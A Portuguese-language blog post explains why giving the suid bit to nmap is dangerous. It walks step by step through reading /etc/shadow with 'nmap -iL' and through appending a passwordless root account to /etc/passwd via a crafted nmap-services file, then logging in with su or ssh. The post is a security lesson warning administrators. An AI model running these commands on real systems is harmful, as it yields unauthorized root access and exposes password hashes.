Introdução
Nessa postagem mostrarei o perigo que é dar permissão suid-bit de forma inadvertida em binários do sistema que leem e/ou escrevem no disco. A ideia e os exemplos nessa postagem foram retirados totalmente de [1] e o programa de teste é o nmap
, mas o conceito pode ser estendido para outros programas.
O problema
Quando um programa é projetado para ser um suid-bit ele deve considerar vários aspectos de segurança, como a validação rigorosa de toda a entrada do usuário e também a necessidade de realizar tarefas com o mínimo possível de privilégios. Por exemplo, se um programa root suid-bit necessita abrir um arquivo passado pelo usuário então ele deve obrigatoriamente fazer isso com o privilégio do usuário e não do root. Quando ocorre essa passagem de um privilégio alto para um menor falamos que o programa deu um “drop” nos seus privilégios.
Um programa que não foi projetado para ser suid-bit não tem a obrigação de seguir essa regra de privilégio mínimo porque ele espera executar suas tarefas com as permissões do usuário que o executou. Se de alguma maneira esse programa receba a permissão suid-bit do administrador do sistema então um usuário comum poderá usá-lo para acessar arquivos importantes do sistema através de suas operações de leitura e escrita.
Um exemplo bastante comum de acontecer é o administrador setar o bit-suid no nmap
:
# chmod +s /usr/bin/nmap
O nmap
é um programa de análise de redes largamente usado por administradores de sistema. Ele consegue executar algumas funções como usuário normal, porém recursos mais avançados só são executados como root. Então parece ser mais cômodo setá-lo como suid-bit para não haver a necessidade de se logar como root toda vez que for usá-lo.
O erro de se fazer isso é que o nmap
não foi projetado para ser um executável suid-bit, isso é, o programa não tem que seguir obrigatoriamente algumas regras de segurança como a do drop de privilégios. Esse fato desencadeia em uma enorme brecha de segurança já que o programa poderá ser usado para ler e escrever em qualquer arquivo do sistema.
Abusando da leitura
No caso do nmap
, a opção -iL faz uma leitura em um arquivo a procura de hosts. O que aconteceria se passássemos algum arquivo do sistema?
$ nmap -iL /etc/shadow Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-26 14:56 BRST Failed to resolve "at:!:16070::::::". Failed to resolve "bin:*:16015::::::". Failed to resolve "daemon:*:16015::::::". [..] Unable to split netmask from target expression: "root:$6$bmFkYSBkZSBpbnRlcmVzc2FudGUgYXF1aSByYXBhego:16070::::::" Failed to resolve "rtkit:!:16015::::::". Failed to resolve "scard:!:16015::::::". Failed to resolve "sshd:!:16015::::::". [..] WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 3.97 seconds
Oops, acho que conseguimos ler o arquivo de senhas do sistema :D.
Abusando da Escrita
Através das opções -oN/-oX/-oS/-oG o nmap
realiza escrita em arquivos. Como ele faz isso sem dar drop nos privilégios fica fácil sobrescrever qualquer arquivo do sistema. Aqui tentaremos inserir um usuário sem senha no /etc/passwd
.
Usaremos o seguinte truque: modificaremos a saída do nmap
criando o arquivo nmap-services
, que permite que seja fornecido nomes alternativos para portas abertas. Como exemplo, renomearemos o serviço aberto na porta 25:
$ echo 'AAAAAAAAAA 25/tcp' > /home/user/nmap-services $ export NMAPDIR=/home/user $ nmap --append_output -oN arquivo_teste.txt localhost $ cat arquivo_teste.txt [..] PORT STATE SERVICE 25/tcp open AAAAAAAAAA 631/tcp open unknown [..]
/home/user
é a pasta do seu usuário. Em $NMAPDIR
passamos o diretório em que está o arquivo nmap-services
. A sintaxe desse arquivo é o nome o serviço mais porta/protocolo. A porta 25 deve estar aberta na máquina em questão. Caso não haja porta aberta, você pode abrir qualquer uma outra usando o netcat
e depois alterar o conteúdo do nmap-services
.
Para adicionar um usuário sem senha no sistema, simplesmente alteramos o conteúdo do nmap-services
usando como nome uma linha válida do /etc/passwd
. Assim:
$ echo 'hacker::0:0:root:/tmp:/bin/bash > /home/user/nmap-services $ export NMAPDIR=/home/user $ nmap --append_output -oN /etc/passwd localhost Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-27 00:14 BRST [..] 25/tcp open hacker::0:0:root:/tmp:/bin/bash 631/tcp open unknown [..]
Veja que toda a saída do nmap
foi adicionada ao /etc/passwd
. O mais importante é que a seguinte linha estará lá:
25/tcp open hacker::0:0:root:/tmp:/bin/bash
Por incrível que pareça, a string "25/tcp open hacker"
é um nome válido de usuário. Para autenticar, digite:
$ su - "25/tcp open hacker"
Como apontado por [1], o su de alguns sistemas não executará com sucesso. Você pode tentar outras alternativas, como o ssh:
$ ssh -l "25/tcp open hacker" localhost
Se você ainda recebe um prompt pedindo senha, então crie um hash com a função crypt()
do perl:
$ perl -e 'print crypt("password", "XX"). "\n"' XXq2wKiyI43A2
A senha do usuário será “password” (sem aspas). Feito isso, altere a linha do nmap-services
para hacker:XXq2wKiyI43A2:0:0:root:/tmp:/bin/bash
e tente logar novamente com o comando su acima.
Conclusão
É necessário extremo cuidado ao se setar o suid-bit em binários root que não foram projetados para receber tal bit. As consequências disso podem ser desastrosas principalmente se o programa não faz drop nos privilégios antes de realizar leitura e escrita em arquivos indicados pelo usuário.
Referências
[1] nmap-suid.txt by Aaron(synfin) (Acessado em: Janeiro/2014)
http://synfin.net/papers/nmap-suid.txt